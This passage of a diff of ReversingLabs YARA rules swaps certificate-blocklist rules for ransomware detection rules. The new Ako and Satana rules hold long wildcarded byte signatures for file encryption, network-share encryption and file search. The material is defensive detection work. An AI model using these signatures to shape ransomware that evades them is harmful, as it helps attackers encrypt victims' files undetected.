?? ?? ?? 8B 55 ?? + 80 7C 02 ?? ?? 74 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 + ?? 80 38 ?? 75 ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 85 F6 0F 95 C0 EB ?? F7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 83 3B ?? 74 ?? 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + FF 33 FF 75 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? + ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 ?? 56 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Enforced Licensing Intermediate PCA" and ( pe.signatures [ i ] . serial == "00:eb:aa:11:d6:2e:24:81:08:18:20" or pe.signatures [ i ] . serial == "eb:aa:11:d6:2e:24:81:08:18:20" ) ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_3Aab11Dee52F1B19D056 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Ako : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Ako ransomware." author = "ReversingLabs" - id = "c6334520-7f93-59d0-8a22-721b928c14d1" - date = "2020-08-05" - modified = "2023-11-08" + id = "fce98a6a-f7bd-52ee-a2b8-31b48f6134ca" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1074-L1089" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Ako.yara#L1-L173" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1f1215143dc828596e6d7eeff99983755b17eaeb3ab9d7643abdbb48e9957c78" + logic_hash = "8321a4ace66ae48e3a6896daf02c184fa7767fa6bd10cd83b322ad01698008cf" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Ako" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_win64_p1 = { + 44 89 4C 24 ?? 4C 89 44 24 ?? 48 89 54 24 ?? 48 89 4C 24 ?? 56 57 48 81 EC ?? ?? ?? + ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? + 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 83 BC 24 ?? ?? ?? ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? + ?? 41 B9 ?? ?? ?? ?? 45 33 C0 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 90 89 44 24 ?? 81 7C 24 ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? ?? ?? ?? C7 84 24 + ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA + 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? 32 + C0 E9 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 + ?? 45 33 C0 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 45 33 C0 BA ?? ?? ?? ?? + 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 + 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + 48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA 48 C7 44 24 ?? ?? ?? ?? + ?? EB ?? 48 8B 44 24 ?? 48 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 + 39 44 24 ?? 0F 8D ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? + 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 90 85 C0 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 33 D2 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 + B8 ?? ?? ?? ?? 48 8B D0 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 + } + $encrypt_files_win64_p2 = { + 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 45 33 C9 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 + 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 44 24 ?? + ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? 05 ?? ?? + ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 39 44 24 ?? 0F 83 ?? ?? ?? ?? 48 8D 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 90 8B 4C 24 ?? 48 03 C1 48 89 44 24 ?? 33 D2 48 8D 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B F8 48 8B 44 24 ?? 48 8B F0 B9 ?? ?? ?? ?? F3 A4 48 + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 8B 4C 24 ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? + ?? 4C 8B C8 45 33 C0 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 90 0F B6 C0 85 C0 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 90 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 44 8B 44 24 ?? + 48 8B D0 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 75 ?? C6 44 24 ?? ?? 48 + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F + B6 44 24 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? EB ?? E9 ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA + } + $encrypt_files_win64_p3 = { + 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B + F8 33 C0 B9 ?? ?? ?? ?? F3 AA 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 41 B9 ?? ?? ?? + ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 90 85 C0 0F 84 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 C0 ?? 48 8B C8 E8 + ?? ?? ?? ?? 90 48 89 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 83 C1 ?? E8 ?? ?? ?? ?? 90 + 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 48 8B 4C 24 ?? 44 8B C1 48 8B D0 48 8B 8C + 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 48 89 44 24 + ?? 48 8B 8C 24 ?? ?? ?? ?? 48 83 C1 ?? E8 ?? ?? ?? ?? 90 48 8B 4C 24 ?? 48 3B C8 0F + 85 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 8B + 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 4C 24 ?? 41 + B8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 + 85 C0 74 ?? 8B 44 24 ?? 48 83 F8 ?? 75 ?? C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? EB ?? C6 44 + 24 ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 90 0F B6 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 90 48 81 C4 + ?? ?? ?? ?? 5F 5E C3 + } + $encrypt_network_shares_win64_p1 = { + 48 89 54 24 ?? 48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B + 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 84 24 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 8B C8 E8 + ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 + 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 + C0 ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C + 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 84 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B + } + $encrypt_network_shares_win64_p2 = { + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? + ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 90 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F B6 C0 85 C0 0F 85 ?? ?? ?? + ?? 48 C7 44 24 ?? ?? ?? ?? ?? EB ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 48 8D 8C + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 39 44 24 ?? 73 ?? 48 83 7C 24 ?? ?? 76 ?? 33 D2 + 48 8B 44 24 ?? B9 ?? ?? ?? ?? 48 F7 F1 48 8B C2 48 85 C0 75 ?? 41 B9 ?? ?? ?? ?? 4C + } + $encrypt_network_shares_win64_p3 = { + 8D 05 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 44 + 24 ?? 48 FF C0 48 89 44 24 ?? EB ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? + ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 54 24 ?? 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? + 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 90 48 8B C8 E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? + E8 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8B C0 48 8D 94 24 ?? + ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B C8 E8 ?? ?? ?? ?? 90 4C 8B + C0 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 90 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 C6 44 24 ?? ?? 48 8D 8C 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 90 0F B6 44 24 ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 90 32 C0 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? C3 + } + $find_files_win64 = { + 48 89 5C 24 ?? 55 56 57 41 56 41 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 + C4 48 89 84 24 ?? ?? ?? ?? 4D 8B F0 49 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B E9 48 3B D1 + 74 ?? 0F B7 02 66 83 E8 ?? 66 83 F8 ?? 77 ?? 0F B7 C0 49 0F A3 C0 72 ?? 48 83 EA ?? + 48 3B D5 75 ?? 0F B7 0A 66 83 F9 ?? 75 ?? 48 8D 45 ?? 48 3B D0 74 ?? 4D 8B CE 45 33 + C0 33 D2 48 8B CD E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 83 E9 ?? 33 FF 66 83 F9 ?? 77 ?? + 0F B7 C1 49 0F A3 C0 B0 ?? 72 ?? 40 8A C7 48 2B D5 48 8D 4C 24 ?? 48 D1 FA 41 B8 ?? + ?? ?? ?? 48 FF C2 F6 D8 4D 1B FF 4C 23 FA 33 D2 E8 ?? ?? ?? ?? 45 33 C9 89 7C 24 ?? + 4C 8D 44 24 ?? 48 89 7C 24 ?? 33 D2 48 8B CD FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? + 75 ?? 4D 8B CE 45 33 C0 33 D2 48 8B CD E8 ?? ?? ?? ?? 8B F8 48 83 FB ?? 74 ?? 48 8B + CB FF 15 ?? ?? ?? ?? 8B C7 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C + 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 5F 5E 5D C3 49 8B 76 ?? 49 2B 36 48 + C1 FE ?? 66 83 7C 24 ?? ?? 75 ?? 66 39 7C 24 ?? 74 ?? 66 83 7C 24 ?? ?? 75 ?? 66 39 + 7C 24 ?? 74 ?? 4D 8B CE 48 8D 4C 24 ?? 4D 8B C7 48 8B D5 E8 ?? ?? ?? ?? 85 C0 75 ?? + 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 49 8B 06 49 8B 56 ?? 48 2B D0 + 48 C1 FA ?? 48 3B F2 0F 84 ?? ?? ?? ?? 48 2B D6 48 8D 0C F0 4C 8D 0D ?? ?? ?? ?? 41 + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Enforced Licensing Intermediate PCA" and pe.signatures [ i ] . serial == "3a:ab:11:de:e5:2f:1b:19:d0:56" ) + uint16( 0 ) == 0x5A4D and ( $find_files_win64 ) and ( all of ( $encrypt_files_win64_p* ) ) and ( all of ( $encrypt_network_shares_win64_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_6102B01900000000002F : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Satana : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Satana ransomware." author = "ReversingLabs" - id = "b98769c6-805e-5cd0-96f1-67418fec40a6" - date = "2020-08-05" - modified = "2023-11-08" + id = "8dc5bf7c-d4cb-5961-804b-035676dacbc0" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1091-L1106" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Satana.yara#L1-L123" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6c42daa8b8730541bb422ac860ec4b0830e00fdb732e4bb503054dbcae1ff6d4" + logic_hash = "5deb6ac2e8b64fb6f7af8c41a9b9e695668ca66c96c65f0c7350b11cd4ae0c50" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Satana" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? + ?? 83 EC ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? 66 + 0F 57 C0 66 0F 13 45 ?? 68 ?? ?? ?? ?? 8B 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 90 + 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B F8 89 + 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 8B 75 ?? 89 75 ?? + 8B 5D ?? 89 5D ?? 83 FE ?? 75 ?? 85 DB 0F 84 ?? ?? ?? ?? 8B CE 0B CB 0F 84 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 53 56 E8 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 33 C9 + 03 C6 13 CB 83 E8 ?? 89 45 ?? 83 D9 ?? 89 4D ?? 6A ?? 8B 55 ?? 52 6A ?? 6A ?? 6A ?? + 57 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 6A ?? FF 15 ?? + ?? ?? ?? 83 C4 ?? 8B F0 66 0F 57 C0 66 0F 13 45 ?? 8B 5D ?? 8B 7D ?? 90 83 7D ?? ?? + 0F 8C ?? ?? ?? ?? 7F ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? 8B D3 83 C2 ?? 8B 75 ?? 8B CE + 83 D1 ?? 8B 45 ?? 3B C8 7F ?? 7C ?? 3B 55 ?? 77 ?? BF ?? ?? ?? ?? 33 C0 8B 75 ?? 03 + } + $encrypt_files_p2 = { + F3 8B DA 89 4D ?? EB ?? 8B 7D ?? 2B FB 1B C6 8B 55 ?? 8D 34 13 03 DF 11 45 ?? 89 5D + ?? 89 45 ?? 89 7D ?? 83 7D ?? ?? 7F ?? 7C ?? 83 7D ?? ?? 73 ?? 8B 4D ?? 89 4D ?? 83 + F9 ?? 7D ?? C6 04 31 ?? 41 EB ?? 29 7D ?? 19 45 ?? 33 C0 89 45 ?? 83 F8 ?? 7D ?? 8B + 0C 85 ?? ?? ?? ?? 31 0C 86 40 EB ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 + ?? 88 04 37 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 01 + 0D ?? ?? ?? ?? 8B 55 ?? 11 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 0D ?? ?? ?? ?? 51 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? EB ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 FF + 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF 15 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B + 4D ?? 8D 95 ?? ?? ?? ?? 0F B7 01 66 89 02 83 C1 ?? 83 C2 ?? 66 85 C0 75 ?? 6A ?? 8D + 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 C0 ?? 74 ?? 8B D0 8D B5 ?? ?? ?? ?? + 0F B7 0A 66 89 0E 83 C2 ?? 83 C6 ?? 66 85 C9 75 ?? 33 C9 66 89 08 8D 95 ?? ?? ?? ?? + 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? + ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF + 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? EB ?? B8 ?? ?? ?? ?? C3 8B 65 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 + } + $search_files_p1 = { + E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 33 D2 56 50 66 89 94 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 56 52 + 66 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 56 50 89 + 74 24 ?? E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 